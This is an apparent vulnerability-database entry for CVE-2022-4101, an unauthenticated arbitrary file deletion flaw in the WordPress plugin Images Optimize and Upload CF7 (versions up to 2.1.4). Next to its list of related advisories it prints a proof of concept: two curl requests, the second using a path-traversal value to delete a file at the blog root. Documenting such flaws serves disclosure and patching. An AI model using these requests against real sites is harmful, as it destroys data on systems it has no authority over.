Images Optimize and Upload CF7 <= 2.1.4 - Unauthenticated Arbitrary File Deletion

🗓️ 21 Dec 2022 00:00:00Reported by cydaveType

wpexploit👁 89 Views

Images Optimize and Upload CF7 <= 2.1.4 - Unauthenticated Arbitrary File Deletio

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2022-4101	4 Apr 202518:36	–	circl
CNNVD	WordPress plugin Images Optimize and Upload CF7 路径遍历漏洞	16 Jan 202300:00	–	cnnvd
CVE	CVE-2022-4101	16 Jan 202315:37	–	cve
Cvelist	CVE-2022-4101 Images Optimize and Upload CF7 <= 2.1.4 - Unauthenticated Arbitrary File Deletion	16 Jan 202315:37	–	cvelist
NVD	CVE-2022-4101	16 Jan 202316:15	–	nvd
OSV	CVE-2022-4101	16 Jan 202316:15	–	osv
Prion	Path traversal	16 Jan 202316:15	–	prion
Positive Technologies	PT-2023-13934 · WordPress · Images Optimize/Upload Cf7	16 Jan 202300:00	–	ptsecurity
RedhatCVE	CVE-2022-4101	23 May 202500:31	–	redhatcve
Vulnrichment	CVE-2022-4101 Images Optimize and Upload CF7 <= 2.1.4 - Unauthenticated Arbitrary File Deletion	16 Jan 202315:37	–	vulnrichment

1. Install contact-form-7 (dependency)

2. Install the vulnerable plugin (images-optimize-and-upload-cf7 version 2.1.3)

3. Invoke curl to create a potentially missing upload directory (required for the exploit to work):

curl 'https://example.com/wp-admin/admin-ajax.php?action=yr_api_uploader'

4. Invoke the following curl command to delete the delete.me file at the root of the blog:

curl 'https://example.com/wp-admin/admin-ajax.php?action=yr_api_delete' \
    --data 'file=../../../delete.me'

21 Dec 2022 03:23Current

1Low risk

Vulners AI Score1

CVSS 3.19.1

EPSS0.40818

SSVC